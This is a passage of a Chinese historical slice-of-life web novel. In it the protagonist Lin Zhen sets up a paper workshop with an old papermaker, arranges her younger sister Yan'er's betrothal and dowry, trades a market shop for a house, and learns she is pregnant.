“您先跟着我回枣儿村,村里有位医术高明的大夫,請大夫先给您瞧瞧。您先修养几日,再跟着指导泥瓦匠人建紙坊,至于工錢,建紙坊的时候算您六百个钱,待开始造紙后,基本工资算一贯钱,结算时,根据当月的产量来加钱。这些燕儿应当都与您说过,家去拟了契来您再细瞧。” 林真一口气说完安排,见毕老没吱声儿,又继续道。 “给您俩年轻力壯的汉子当帮手,抄纸和晾晒这样的手艺,劳烦您多教教;再雇三人来做些沤洗、舂捣的重活儿,林家有炭,不肖劈柴。如此,人手应当是夠了?” 毕老这才抬起头来,他瞧着林真,眼中满是懷疑:“东家对造纸像是有研究?您这样清楚其中的关窍,又不要求造会稽纸那样的好纸,缘何还要請了我来?” 他被这会稽纸的手艺,弄得妻离子散。若是这林家想打别的主意,他是万万不肯的! “放心,会稽纸在我那小铺子里且还不容易往外卖呢!您那手艺自个儿留着罢。” 林真撇撇嘴,疑心病太重了些。 “这造纸一术,您应当比我懂得多。失之毫厘,谬以千里,我是曉得如何造纸,可造出来的纸……当稿纸且不够格的。” 为着打消毕老的疑虑,林真不惜自揭其短。 她没想过发挥金手指的作用,苏出造纸术麽? 她不仅想过,且在瞧过文作铺子多是中下档的纸好卖后,她还付诸行动。 结果嘛,不能说不好,只能说术业有专攻,她不是这块料。 她弄出来的纸,只是有个纸的模样,别说蘸了墨汁儿写字了,多揉几下,就会当场表演一个四分五裂给她瞧。 “如此,您可还有疑问?”林真问道,稍微有些神。 出门半月有余,她有些想小崽子了。 毕老沉默着摇摇头。 “成,您便与我一道回村罢。” 两辆骡车一前一后出城去,前面是贺景与林真;后面是大壯和毕老,大壮往后要跟着毕老学造纸,此时留他照顾毕老也不算突兀,免得那小老头疑心病又犯了。 “我怎瞧着你,似乎对毕老有些不耐?”只有倆人时,贺景一向是有话直说的。 林真一惊:“如此明显?” “也没有,礼数是足的,只是不够親切,你待盧老,可诚心許多。”就是如此贺景才奇怪,先前盧老可是他从乞丐堆儿里扒拉出来的,比毕老寒掺多了。 那时,他瞧着卢老,自个儿心里都没底气,一会儿懷疑自个儿找错人了,一会怀疑这小老头吹大话诓他呢! 可真姐儿明明是第一回 见卢老,却待卢老很是敬重。 林真长叹一口气:“许是曉得毕老今日之果,全是往日之因,心里便有些成见罢。” 毕老的故事挺简单的,会稽纸的手艺传男不传女,他家又只有一个被娇惯得厉害的宝贝蛋子,可不是会生事儿? 毕老与发妻育有两女,发妻去后,他也不晓得是真怕没儿子继承手艺还是甚的。 别说给发妻守一年了,只一月,便另娶他人。 为这儿,已经晓事的大女儿与他决裂,不惜远嫁他乡,再没回过娘家。 小女儿呢? 有了后娘,且后娘一进门儿就生下親爹心心念念的宝贝儿子,那小女儿还能有甚好的? 自然也是草草嫁人,逐渐斷了与娘家的来往。 毕老的宝贝儿子呢? 从小被养得心高气傲,手艺没学到几分,眼高手低等毛病倒是不少,还‘捡漏’了一处越州城的好屋宅。 结果麽,自然是缴了赊卖钱,又借了印子钱。 不仅宅子没了,反而欠了一大筆債,債主要毕老拿会稽纸的手艺来还,毕老自然不同意。 他还想着卖了纸坊给儿子还债,自家留下手艺好东山再起。 哪晓得,妻子怨恨他瞧着儿子被人打斷腿却见死不救,卷了家财带着儿子跑路,留毕老一人面对债主。 下场麽,以毕老自个儿断了手,被纸行逐出行会,拿纸坊抵债了结。 “我去时,他说已无親友可告,瞧着是很落魄凄惨。可若是不种下当日的因,怎会结下这样的果呢?”林真叹道,“我虽覺着他有几分可怜,可想想他的两个女儿,便不觉着毕老有多可怜了。你瞧,他即便是再惨,不还是有我这等贪图利益的人来请了他去?他的后半生,若是不折腾,至少能衣食无忧。可他的两个女儿呢?怕是要比他辛苦可怜百倍。” “别这样说自个儿。”贺景伸手揽住林真,教她靠在肩上,“你是为了家里,为了平安。” 林真没说话,放松自个儿靠在贺景肩上。 家去后,有燕儿相帮,倒是不需林真再操心。 梳洗一番,林真放任自个儿沉沉睡去,这一路,她觉着分外疲倦。 还是平安大崽子下学后,做完了功课,在爹娘房门口路过许多回。 后来,干脆蹲在娘亲前面,赖着不走,还时不时拿小胖手摸摸娘亲的头发。 林真这才醒了。 贺景进来,点了黄烛,又拿灯罩笼住烛火,免得晃了林真的眼睛。 有了光亮,林真一眼就瞧见了嘴角能挂油瓶儿的平安。 嗯,这幅模样,在这崽子过了黏人期后,倒是少见。 林真伸手将小崽子捞在怀里:“这是怎的了?谁惹我们平安宝宝生气了呀?” “娘!我是大孩子了!不是宝宝。”平安抗议。 “嗯?不是宝宝怎生还要娘亲哄呀?” “哪有?我……不对,娘亲狡猾!分明是你不理平安的!” 哎呦,这崽子果真不好骗咯。 一阵儿打闹后,林真在贺景和平安崽子的陪同下,吃了迟来的夕食。 饭后,陪着平安崽子又玩闹一会儿,将早睡早起且格外坚持的平安崽子哄睡后,林真倒是全无睡意。 她也不管贺景睡不睡,开始搅人:“哎!赁着西市铺子的古掌柜,这段时间有没有来骚扰你呀?” 贺景平躺着,眼儿半阖:“没有,人眼界高着呢,怎会来与我一上门婿相商?” “哼!狗眼看人低!”林真对这前恭后倨的小人实在没甚好感,又戳戳贺景,“那铺子行情可好?哎呦,若是有人与他相争就好了,咱狠狠宰他一笔!这样,给燕儿的陪嫁还能再丰厚些!” 燕儿十七了,亲事已定,婚事儿定在来年冬日,家里最近都在忙着备嫁妆。 “田地陪嫁不得,那便给燕儿换成县里的铺子跟宅子!说起田地来,族老像是要了他的命一样,真真迂腐。也不想想,燕儿属高嫁,嫁妆薄了可不好看。” 林真枕着左臂,翘着脚一晃一晃的:“唉!燕儿为甚要嫁人呢?现下瞧着男方还成,可天长日久的,哪里能保证以后呢?” “千挑万选定下的人家,离得又不远,若是不放心,咱们多留意着便是。”贺景出言安慰道。 “唉!初见燕儿时,她才六岁,像只小鹌鹑。”想到燕儿如今的模样,林真不禁自夸道,“我可真会养孩子!” 贺景听出来了,这人,今日是不想睡了。 他凑过去,压低声音:“精神这样好?咱们很该给平安添个妹妹了。”《 》 100-110 第101章 燕儿的婚事说来也巧, 算得上一句,好事多磨。 自她游学归家后,明里暗里上门打听的人家本就不少。 林真雖覺着别扭, 可这事儿,说到底应当由林屠户和苗娘子做主,倆人说正是时候,要先慢慢儿留意着合适的人选。 林真没法子, 可还是私下去问燕儿的意思。 这是燕儿的人生大事, 怎能不过问当事人的意见? 可这丫头也不知是被‘初恋’伤透心了还是怎的, 且没这个心思,只一门心思扑在跑商一事上。 被问得多了,反无奈地瞧着林真。 “阿姐这是怎的了?自来都是父母之命,媒妁之言。我已是幸运, 父母阿姐如此愛重我,都盼着我往后日子和顺, 自然会为我细心挑选一门好親。我只管等着便是, 哪里需要为这事儿烦心?” “不是, 你就没有理想,不, 你比较喜欢甚样的男子?文的?武的?文武雙全的?总得有个范围不是?”林真差点儿一咕噜嘴说岔了。 “扑哧!”燕儿一笑, 狭促道, “不都是先看家世再看人品的麽?阿姐成婚时也想恁多?那你当时见了姐夫是否满意?” 林真木着脸:“我看你是在找打。” “好了好了, 阿姐现在真是不经逗。”燕儿正色道,“且由着官媒和家里先把把关, 留下来的人家,不说其他,定然是家世清白之人。我再从中择一位合眼缘的便成, 这不是省心许多?至于阿姐说的喜愛之情,嗯,我倒不覺着重要,过日子又不是光凭情爱就能过的。于我而言,合适,比情爱更重要。” 林真:哑口无言。 转头给许官媒包了一个大红包,托了人细细打听。 “您多担待,家里就这么一位女孩儿,于她的婚嫁之事自然是十分上心,便劳您多费心。” 林真当时是客套话,可哪里能想到,一語成戳。 许官媒前前后后择了八位郎君,由林家这头又剔去三位,原还剩下五位。 可燕儿往来越州走了一趟。林真使人盯梢,又有三位瞧着不大妥当,便只剩下倆。 就这俩,一一相看后,竟都不合适。 一户觉着林家门第低,雖愿意娶燕儿,可没将心底的傲气藏好,林真便不乐意。 一户雖与林家门当户对,那小郎君瞧着也是腼腆和气,可就是太和气了,对谁都一样!更是嫁不得! 这一通折腾,耗去大半年的时日且不说,連许官媒都没法子了。 只得教林家人先緩一緩。 林屠户和苗娘子急得嘴角生了一串儿燎泡。 林真还振振有词:“女子嫁人,一輩子的事儿。本就不能马虎,燕儿还小,咱再慢慢相看就是。” 在她心中,十六七岁的燕儿还小,可在世人眼中,已不小了。 也不怪家里人着急。 后头还是燕儿去承節郎家,给肖家姐儿添妝时,不知怎的,教承節郎家的夫人瞧中了。 夏夫人也是个水晶心肝的人,帖子下给林真,请其过府一叙。 “我娘家有个侄儿,年十八,与燕儿年紀相当,是个懂事儿的孩子,已有秀才功名了。”夏夫人語气和缓,先细细介绍了自家侄儿的情况。 林真心里直嘀咕:夏夫人是官宦人家的女儿,父親雖只是六品官,可人是正经的两榜进士出身,且是有实权的职事官。肖家这承节郎,多是仰仗着岳家从中运作举荐,才教肖家一举踏入‘官’这一阶级。 夏夫人的娘家侄子?还是个秀才,配给燕儿? 其中必有缘由。 夏夫人没有隐瞒,她那侄儿,虽也是夏氏族人,算起来,还是她家是没出五服的親戚。可惜,命不好,小小年紀便父母雙亡,也没有兄弟姐妹帮扶。 “在老家那头,連个親近的长輩都没有。” 夏夫人叹气,“我与她母亲是打小处下来的情分,自是不忍心见他如此孤苦无依。年年写信教他来我这头,可他非要等守孝期满才过来。一来二去,可不就耽搁了?” 夏夫人停下话头来,借着喝茶的举动打量了一下林真的面色,见她没因着侄儿六亲缘浅,孤星入命而面带异色,心底松了一口气。 而林真,则在努力控制着自个儿:千萬不要嘴角上扬,这样非常不禮貌,还得罪人! 虽然这样说很对不起当事人,可林真在听见对方无父无母的时候,心里第一反应却是庆幸。 燕儿若是与他成亲,至少不用侍奉公婆! 她身边的女孩儿们,嫁人后,或多或少都受过来自公爹婆母的压力。 远的不说,就巧儿产子那日发生的事儿,她是萬万不敢想像,发生在燕儿身上。 夏夫人心下满意,介绍起她娘家侄儿来就更积极了,又扭头不住口地夸燕儿。 “我瞧着燕儿爽利大方且又格外知礼懂事儿,比我家姐儿可稳重太多了。” “哪里哪里,您家姑娘行事大方,率真可爱且胸中有沟壑,人品贵重着呢!”林真赶紧夸回来。 夏夫人笑了笑,显然很是满意,语气亲热不少:“哎呦,都好,她们俩小姐妹都好。在仇娘子那儿一道学习时,就格外投缘呢!可见,这是天定的缘分。” “只是有一点,要实话告诉您,林家早年家贫,燕儿小小年纪便跟着一起帮襯家里。这些年,不论是打理铺子还是去外头采买货物,多是赖着她。”林真斟酌着道,“家里也从不拘着她,燕儿,怕是没您想得那样端庄娴静。” 夏夫人听了这话倒不恼,心中反而更是满意:林家虽门第低了些,且靠行商发家,可却不见商人的狡猾市侩,反而格外坦诚大方。 如此,她倒是更想促成这门亲事。 夏夫人语气十分温和:“我倒巴不得燕儿能干,倆孩子往后一同顶立门户互相依靠。虽咱们当长辈的定然会帮襯着,可过日子麽,自个儿得先立起来。林娘子放心,我家不是那等迂腐人家,萱姐儿也是整日往外跑。” 这话,就是说不仅不介意燕儿时常往外跑,且夏家侄儿虽身旁无长辈亲友帮扶,承节郎家里暂且不说,可夏夫人是一定会帮的。 林真面上的笑深了些:“是,仇娘子教得好,读万卷书,行万里路麽。” 如此,两方商定后,两家人在宝相寺来了一场心照不宣的偶遇,教倆小孩儿见了一面。 这一见,好麽,原来倆人此前已然见过。 夏和远从老家投奔夏娘子时,只带着一老仆,一老一少,路上难免要受些波折;燕儿在越州时,凑巧出手帮过他。 “真的真的?那你怎不记得这人?”林真追问,双眼放光,哎呀呀,听小情侣的八卦可真是有意思。 “阿姐!”燕儿不依了,嚷道,“当时只觉着他是个呆头鹅,顺手就帮了,哪里会将他放在心上?” “哦……”林真拖长了尾音,“意思是,现在放在心上了?” “哼!阿姐快些出去,不要理你了!”燕儿面色绯红,推着林真将人往外趕。 “不是,我说真的。”林真扒拉着门框不放,“他要真是个读书读傻了的呆头鹅,咱可不能要。” “没有!示弱以人,寻出破绽,一击即中。”燕儿回忆起那场讹人的闹剧,摇摇头道,“想来,便是没有我出手,他也能脱身的。” “嗯!”林真点点头,“看来,还是记着的!幸好没错过,果然是应了夏夫人那句话,天定的缘分。” 后来,林真就被趕出西跨院儿了。 平安下学家来,手上还端着姑姑给蒸的琼葉糕,没好意思站在林真那头。 林真大怒,遂,抢得琼葉糕一盘,食之,大喜。 平安撇撇嘴,决定让着自家娘亲。反正,琼叶糕又不止一盘。 两家都满意,事情很快便定下,六禮流程都走了大半年。 小定(纳吉)那日,夏家送来的绸缎、酒礼倒是其次,还有一小盒子,听闻是夏和远托了许官媒,一定要亲手交在燕儿手里。 林真抻着脖子使劲儿瞧,只隐约瞧见一张画了双燕的小笺子,上头还写了些甚,可惜看不清。 倒是燕儿,头上多了一支缠丝喜鹊金钗。 “哦,原来这就是‘插钗’呀!” 林真打趣一句后便不再多言,流程走到这一步,下回便是大定,林家回定礼,代表应下这门亲事,紧接着便是商定婚期。 婚事正式定在来年十月初三,小雪前一日。 听着时日还长,可夏家大定下的聘礼是按着官家来定的,并未因着林家门第低,便怠慢了。 燕儿的嫁妝,便绝不能低了。 虽说聘礼是全添进嫁妆里头的,可林家这边肯定还是要添一些。 日用器具那些由苗娘子准备,林真用两百贯给燕儿添了一间铺子,可她心心念念的宅子,还是没影儿。 虽晓得包经纪靠谱,可许是关心则乱,西市铺子的销路干系到燕儿的嫁妆,林真不由得有些心急。 这日,包经纪顶着日头来文作铺子寻林真。 店里的伙计机灵,忙端了杌子来,瞧见包经纪摸了帕子擦汗,又赶紧端了凉茶来。 包三哥亲眼瞧见那伙计先用滚水烫过茶盏子后,才从茶缸子里舀凉茶,心里满意,接过来大口喝了。 “呼,总算是活过来了。” 他喘匀了气,笑着道:“林娘子,大喜事儿啊!那古掌柜不爽快,可有爽快的人乐意买下呢!且晓得您想要县里的一处清静宅子,人也愿意用宅子来换。您现下可有空?咱一道去瞧瞧,人就在屋宅那头等着咱呢!” 第102章 西市那头的鋪子, 林真原是没想卖的。 地段那样好又方正开阔的鋪子,便是自个儿不做生意,往外赁出去, 每月也是一笔不小的钱。 可一晃十年有餘,慈溪县的县尊大人都换了三任,桑基鱼田发展得着实不错,每年遇见的县尊大人瞧着都是来刷资历的, 在他们治下, 慈溪县在前年, 被评为旺县。 县里的变化着实是大。 南边有码头不好往外擴,可即便是这样,码头都擴宽了一倍有餘。 至于另外三个方向,那真是着是往外扩了不少, 尤其是西北方向,那头都有新旧城门之分了。 这一番变动, 就使得西市那原本有些不当道的鋪子, 成了个抢手的转角鋪! 招幌一亮, 不论是南北向还是东西向的客人,都能瞧见这铺子。 原本月赁八貫的铺子, 现今都漲到十貫出头了。 古掌櫃脸都青了, 若是按照原来一气儿赁三年, 林真还真不好漲价;可他自个儿要换作一年一定契, 那不好意思,就按着市价来。 眼见着赁钱还要往上涨, 古掌櫃可不就闹出各种幺蛾子来? 在铺子赁钱涨到十一貫时,林真起了卖铺子的心思。 这铺子忒好了,她留不住。 出手铺子的意思才透给包经纪, 包经纪就赞:“林掌櫃有远见。” 又特意道谢,这样的好買卖,经了他的手,便是一桩人情。 既要出手铺子,包经纪又问:“古掌櫃还赁着这铺子呢?您是甚意思?” 林真一笑:“自是按着规矩来,先教古掌柜出价,若是不成,再教其余買家竞价,价高者得。” 包经纪有些诧异,他可晓得,这古掌柜与林真的关系可谈不上好。 这林掌柜也真是厚道人,竟还願意按着不成文的规矩来,教古掌柜得先机。 林真微笑不语,古掌柜赁这铺子久了,心里不得劲,总觉着这铺子是他的囊中之物。 她願意厚道些,可古掌柜不一定愿意按照市场价来買铺子。 如此,她何苦担了这个恶名? 果然,古掌柜磨磨蹭蹭三次报价后,包经纪欢喜得很。 直接将铺子要出手的消息递给了平日里交好的人家,再不搭理古掌柜。 就古掌柜那报价,他敢说,包经纪都不稀得听:甚么人呀!白白浪費他的时间! 这不,消息才放出去,询价的掌柜多得很,这铺子压根儿不愁出手。 “你那铺子教好几人瞧中了,今儿来的掌柜是帮着蒋員外打理铺面儿的李掌柜。有蒋員外在后头撑着,自是不怕古掌柜的。林娘子放心议价,我话都说透了,人自有法子教古掌柜老老实实,将铺子腾出来。” 两人一道走着,包经纪在路上便将买主的情况透露一二。 李掌柜一团和气,又有包经纪活跃气氛,三人寒暄几句,气氛还怪是热闹。 闲话几句,林真便跟着李掌柜细细游览了一番这精巧的屋宅。 “这宅子原是员外郎瞧着布局精巧,一时心喜,出手买下来的。可员外郎家大业大,在这头自是住不开的,一来二去便闲置了,只偶尔会友时,或是辦文会雅宴或是清谈赏景时,用得一二。” 林真随着李掌柜的介绍细看屋宅,只觉欣喜。 她虽不懂风水布局,却也瞧得出这宅子布置得十分精心。 宅子确实不大,只十一间屋子,可其中多设洞门、轩窗,又有花园小湖,布置得当,显得屋宅很是开阔敞亮。 院墙多绘有鹿、鱼、蝙蝠,寓意禄、余、福的美意;庭中植玉兰、青竹、桂花、石榴等,可谓是一步一景,甚是精巧。 且主屋、厢房、耳房、厨屋、马厩、车轿房等一應俱全,又有抄手游廊和月亮门,整个儿空间的分隔和连接更显巧妙。 风雨无惧且不说,动线忒合适,动静分隔,主客有别,更显清幽静谧。 林真是越看越喜欢,不愧是教蒋员外都一眼瞧中的宅子! “这宅子确实建造得精心雅致,且位置也好。从新门桥那头走,离县学也近。”林真实话赞歎,并不因着有买卖交易而出言贬低这宅子。 瞧瞧,县里扩建,得了好处的人家远不止她一人。 李掌柜很是欢喜,瞧着林真行事大气,他也敞亮了几分。 “林娘子好眼光,这宅子呢,抛开大小不谈,无论是地段用料还是排布装饰,自是样样都好。” 可也就是大小,是宅子的硬伤。 这年头,都讲究多子多福,买得起这样好宅屋的人家,家里多是人丁兴旺。这宅子好是好,可这巷子里,前后左右是再无多余的的土地来扩建。 一大家子,怎生住得开? 是以,这宅子虽也因着县里扩建位置变得更好,询价的人也多,可却是不大好出手。 “林娘子厚道,老李也不能小器了,这宅子转给娘子,东家再补六百貫钱,都用来换你西市那头的铺面,这样,您瞧着可好?”李掌柜圆脸上笑得和气,可这开口的报价,却拿捏得死死的。 这个地段的宅子,十间以内的,能卖个三百来贯,十五间以内的,能卖四百到五百贯之间。 可这宅子刚好十一间,着是算不得大,便是瞧其建造布局,是卖不上五百贯的,至多只能卖个四百出头。 而林真那间铺面,市场价,便是一千贯往上走,若是运作得当,卖个一千二百贯,也不是问题。 心里将价格过了一遍,林真便笑笑,没说话。 李掌柜打量着林真的面色,又补充道:“自然了,晓得林娘子事忙,往衙门立契一事,便由老李这头一手包辦,不肖您多費心的。” 这意思,不仅是衙门那头的打点钱不肖林真费心,连包经纪的牙钱,人也一并包圆儿了。 更重要的是,赖在铺子里不走的古掌柜,人也会一并‘包圆儿’。 虽细算起来,还是林真稍稍吃亏,可事儿也不能全凭市价来定,有个古掌柜横插一脚,那铺子便要打个折扣。 林真松口:“成,李掌柜有心,我也乐得清闲。如此,后头的事儿,便教李掌柜受累了。” “哎呦,分内之事,應当的應当的。”办成了此事的李掌柜更是和气。 又了却一桩大事儿,林真乐滋滋,回家的路上,又绕道去果子行,买了俩寒瓜和一兜子的时令鲜果。 “如此,燕儿嫁妆里的大头都備下了,铺子宅子都有,咱再从那六百贯里头抽一百贯出来,给燕儿当压箱钱;再有苗娘子和爹那头置办下的,这份儿嫁妆,妥了!” 夏家下聘大气,她陪嫁便要按着官家女儿的例子来,燕儿这份儿嫁妆,实打实的有千贯之数。 即便是近年来多有厚嫁之风,这份儿嫁妆也很能拿得出手,比有些不善经营的小官之女还要来得体面。 “至于陪嫁之人,请钱牙婆再挑一手脚麻利的麽麽,加上春芽,便不缺人手了。”说着说着林真倒是歎气。 鄒娘子一家是跟着她的,春芽和大壮年纪渐长,婚配之事自是要提上日程的。 她原先还没这个意识,还是头两年,範三哥自个儿与一佃户女儿瞧对了眼,求到林真跟前。 她才反应过来:认干亲后,这婚嫁丧葬自是要由主家做主的。 像範三哥这样,自个儿瞧对了眼,又自个儿備下聘禮的,实在是少见。 林真琢磨了两天,见那佃农日子过得比範三哥还凄惨,心下消了疑惑。 也是,日子都快过不下去了,女婿是认了干亲的人力又怎样? 人聘禮备得足! 范三哥备下六百个钱,又有糖、酒、肉三色礼不说,还拉了一石粮食过去。 林真应下此事,想了想,又拨了六贯钱给范三哥。 “老宅子后院儿那头的那块儿地,我买了下来。你拿着钱,去那头划三分地,起两间屋子,再置办些家当。倒座房那头的屋子也不用动,你还住着,只是,你媳妇儿是不能往家里来的。” 范三哥大喜过望,原是想在岳家那头再起两间屋子,他十日一休,也能回家去。 没想到,主家还给钱给地来建屋子,能在这头住着,自是再好不过! 范三哥如此,到了年纪后的大壮自然也是如此。 林真唤了人来:“我没法儿变个媳妇儿给你。你的婚嫁之事,我出钱出地,可其余的,便要鄒娘子和你自个儿多上心。” 像给牲口配。种一样,胡乱给人指派姻缘,她是万万做不到的,便只能把这个难题扔给他们自个儿。 大壮和邹娘子很是感激,能自个儿做主,自是再好不过! 可林真瞧着春芽却犯难:男子好办,女子可怎生是好?放出去嫁人? 春芽倒是有主意,她自个儿求到林真跟前,直言不愿嫁人。 “还求娘子做主,教我自梳罢!” 春芽虽小,可她不傻,她还记得幼年时爷奶和爹爹是如何打骂她的。 她现今在林家有吃有穿有钱拿,且因着林娘子治家之严,她的月钱是直接发到她手里的,按期发放,足数足量。 自个儿的银钱自个儿做主!可若是出去嫁人,那就不一定了。 侍奉公婆,生儿育女,照顾男人,还没有钱! 她是疯了才想不开,要离了林家嫁人去。 可她娘接受不了,整日念叨。 她说服不了她娘,便只能来求林真,若是主家开口,她娘自然无法阻拦。 林真自是要应下此事,可却教燕儿拦住了。 “阿姐又心软了。此事若是你出面,邹娘子自是不敢不应,可她心里会生怨的,邹娘子是要长久地呆在家里的,岂不是埋下祸根来?阿姐平日再谨慎不过,可怎生遇上这事儿便心软了?” 燕儿叹了一口气:“教春芽随我出门罢,我自会为她做主。” 想到此处,林真不禁小嘴叭叭,似乎是埋怨,可面上却很是骄傲。 “你说说,燕儿如今可是不得了?还管起我来了。” 林真靠在竹床上,手里捏了一片儿寒瓜,她今年似乎格外怕热。 瞧着寒瓜,想起夏家那头送来的蜜瓜,心里又难受起来。 “唉,燕儿怎生就要嫁人?就不能留在家里麽?怪我当初没和族长掰扯赢。” 贺景伸手拿下林真手上的寒瓜,正色道:“真姐儿,咱还是去寻岑大夫把把脉罢。” 他还是不放心,前些日子他瞧着真姐儿便心有猜测,可真姐儿说她月事已至,虽比往回少些,时间也短,可来了月事便不是有身孕。 可他现在瞧着,真姐儿性情口味都有变化,这样子,教他心里慌得很。 第103章 平安今日下学后, 照旧先去主屋瞧过林屠户和苗娘子后,脚步一轉,入了东跨院儿。 在外头瞧着很是端方的小郎君, 一拐弯儿,便换了副模样。 小短腿儿便倒腾得飞快,颠颠儿地直直奔向爹娘的屋子。 可今日,在他一个飞扑, 正要投入娘亲懷里时, 教爹爹先一步抱了起来。 “乖崽, 如今可不能像往日那样扑你娘了。”贺景抱着平安,低头与懷中的崽子对视,缓缓道,“娘亲有身孕了, 平安会有妹妹或弟弟了。” 平安眼睛一亮:“像宝儿妹妹那样的妹妹麽?” 贺景点点头:“嗯。” 林真笑着冲父子俩招手:“来,平安。” 平安便很是穩重地走过去, 依偎在林真身边儿, 仰着头问:“娘, 妹妹甚时候出来见我呀?” 从前见宝儿玉雪可愛,平安就说要个妹妹;长大后, 出门玩耍的平安听见别人炫耀自家的弟弟妹妹, 他说不出来, 只能说自家有小黄狗。 可小伙伴不买账, 将头昂得高高的:“那不算,你没有弟弟妹妹, 下一个。” 平安回家就吵着要妹妹,那时,爹爹明明答应过的。可惜, 他家的妹妹走得慢,如今才来。 可平安还是很高兴:“我有好多好多东西,要分给妹妹呢!她甚时候来家里呀?” 林真算了算,这孩子估摸着是夏至前后怀上的,那麽,预产期便在来年惊蛰前后。 “嗯,过完年后,估摸着平安就能见着妹妹了。” “啊?竟要这麽久?”平安泄气,他今年还是没有妹妹,“好吧,谁叫你还小小呢,定是跑不快的。” 他又用小手摸了摸林真还没显怀的肚子:“别怕,哥哥不嫌你慢。” 林真和贺景,瞧着平安一本正经的模样,只觉好笑。 可惜这崽子不好糊弄,若是笑出声儿来,定然会恼的,倆人只能辛苦忍笑。 == 十七岁的燕儿在林真眼里还小,二十七岁的自个儿,她自是觉着正是奋斗的年纪。 可在这个时代,二十七的孕妇,已然是高危人群。 更别说她有孕后,还有些許落红,故而被岑大夫勒令:少思虑,多休息。 是以,林家虽因着林真时隔五年多再次有孕而满心欢喜,可这股子欢喜里头又隐约含。着忧虑。 而林真本人,除了变得嗜睡外,没有其余反应。 她先前怀着平安的时候,还会算错账,如今怀着小崽子,还有闲心叮嘱贺景。 “蒋员外虽将咱们这头的牙錢一并出了,可包经纪那头还是按着市价包二十贯錢过去,他家小子开蒙入学,正是要用錢的时候。你再挑着包些东西,他路子广,咱想再置一处西处的宅子,少不得他用心打听。” 林真往縣城西处置宅的念头一直都有,这时候虽没有学区房一说,可她早找包经纪打听过了。 西面这处,多住诗书传家的人家,离縣学近不说,好些有名的私塾也在这头。 平安往后若要读书科举,自是住在那头要好些。 贺景无奈,可他曉得若是一点儿事都不教林真知曉,她怕是更要多思,便道。 “包经纪的母亲,上了年纪牙口不大好。我包些葛粉去,再教卢老挑两条好鲈鱼,再捡些软和点心送去。” 林真点点头:“提一兜子活虾去,他娘子来买过好几回青虾,说是家里孩子愛吃。” 贺景点头,在单子上添了一笔。 林真亲眼瞧见了,这才放下此事,可思绪一瞬间又飘在别处。 “包经纪这莊宅牙人好呀!促成一笔交易,可得利半成,咱这头出两分,蒋员外那头出三分。单是这一单,便可从中得錢五十贯。这赚钱速度,真真是厉害。” “他前前后后跑了一月有余,又从中牵线搭桥还要作保,也是个辛苦钱。你没听人说麽?先前包经纪有一同行,卖宅子的时候没仔细,教卖主给骗了,一间房舍許给两人,自个儿收了钱跑路。他那同行,教苦主告到县衙那头去,不止丢了莊宅牙人的活儿,还被判了笞刑,赔钱又受罪。他们这一行,也是不容易。” 这时候的庄宅牙人都是要在县衙备案的,且若是双方交易有误,是要负連帶责任的。 要不说,不做中不做保呢?这5%的中介费也不是恁好赚的。 林真道:“也是,行行都不容易。还是咱这崽子好,晓得爹娘手里有钱了,又能置大宅子了,这才来,可见是个会享福的。” 她还不待贺景搭话,话题又是一轉。 “畢老那头开始动工,巧儿必是要来的,昌哥儿和菱姐儿也要来。你明儿从铺子里拿两套蒙童用的毛笔砚台来,笔和紙多帶些。明年昌哥儿要入学读书,这些都用得上。” 李盖这些年先是跟着给林真建屋宅的营造队四处跑,手艺学到不少,钱也攒得有一些。 这人倒也记得妻儿,前年好生谢过營造队的头头后,自个儿在乡里拉起一支營造队来,专门幫着十里八乡的村人盖房建宅。 最开始連抹墙面儿翻屋顶的活儿都接,他人踏实且有真本事儿,也不偷工减料从中昧下主家钱财。 两三年下来,积攒了好名声,营造队也从一开始的三五人,到如今的十来人。 在营造队步入正轨后,李盖便将妻儿都接在身边儿来。 林真这头建紙坊,自是请了李盖的营造队来。这回,巧儿应当是能在娘家多住些时日。 “我与他在一处,有甚好东西,他自是先紧着我们娘仨。可在李家,便得去争去抢,我不愿菱姐儿瞧见这些。”巧儿笑笑,拉着林真的手。 “还有,有我跟着,营造队的伙食便不肖主家操心,这也是一桩好处。俩孩子跟着我们虽要辛苦些,可至少在我眼皮子底下,我放心。你莫要忧心我,好生养着身子才是。” 林真仰面叹道:“我若告诉你,我一点儿都不难受,脑子里的念头虽多,可从不往心里去。倒像是,突然愛听熱鬧似的。” 她凑近巧儿,悄悄道:“许是这崽子,是个爱凑熱鬧听八卦的。” “扑哧!”巧儿一下子笑出声儿来,“你可真是,这话,我不信二伯听了不说你。” “哼!昨儿给贺景说,他瞧着已是有异议,我还敢跟我爹说?我爹现在,可偏心得很!”林真犹自忿忿,她自来不是个爱听八卦爱凑热闹的。 可这回,稍稍听见外头的动静便按捺不住。每日这里转悠那里转悠,连听吴麽麽列菜单子都听得津津有味。 她这样,定是肚子里的小崽子是个爱热闹的! “阿姐又胡说。”燕儿手上提着食盒进门来,身后跟着春芽,捧着一摞书。 “这些书,多是游记,阿姐慢慢儿看。”燕儿一面说,一面又摆出两盘糕点来。 “栗子糕细腻清甜,巧儿姐姐多吃些;这碧涧豆儿糕,甜味全靠中间的豆沙和果子干,阿姐多吃些。巧儿姐姐多坐会儿,今朝晌午在家吃饭,阿姐惦记着你呢!” 已为人妇的巧儿,瞧着亭亭玉立落落大方的燕儿,心里五味杂陈:当年那个缩着脖子跟在真姐儿身后的小姑娘,竟出落得这般教人不敢认。 “知道了!晓得你是不乐意瞧我出去转悠,燕儿管家放心,我与你巧儿姐姐,自会听话的。” 这会儿日头正大,她才不出去转悠呢! 要去,那也是傍晚,就着晚风落霞,听吴麽麽说东家长,道西家短,那才有意思! 燕儿瞧出来林真的心思,她也不戳破,将空间留给林真姐倆,自个儿出去瞧着晌午饭,琢磨着给林真添道莲子羹。 幸好她来年冬日才出门去,还能照顾阿姐和小侄女儿。 因着平安整日唤妹妹,现今家里人都下意识觉着:这胎是个女儿。 苗娘子和燕儿缝制小衣裳时,多用藕粉、豆绿、鹅黄这样鲜嫩的颜色;连林屠户去买长命锁时,选的都是蝴蝶莲纹的样式。 小崽子的东西越备越多,紙坊也悄然建好。 这日,畢老带着人,制出了第一批样紙送来给林真瞧。 “这头多是毛竹,用来造纸也行,可毛竹的竹浆需多费几道功夫来漂色,且毛竹长得不如慈竹快,出浆也不如慈竹穩定,在这头,倒是麻和桑更多些。我虽更擅纸竹纸,可若是只用制些一般的纸,麻纸、藤纸和桑皮纸倒是也成。” 毕老不止是说说而已,他连各色样品都带来了。 林真蘸了墨汁,在四种纸上都写下一行字,四种纸上都不见晕墨,心下满意。 “就按您说得办就是了,竹纸、麻纸都是纸,只要能书能写,不见洇染痕迹便成!” 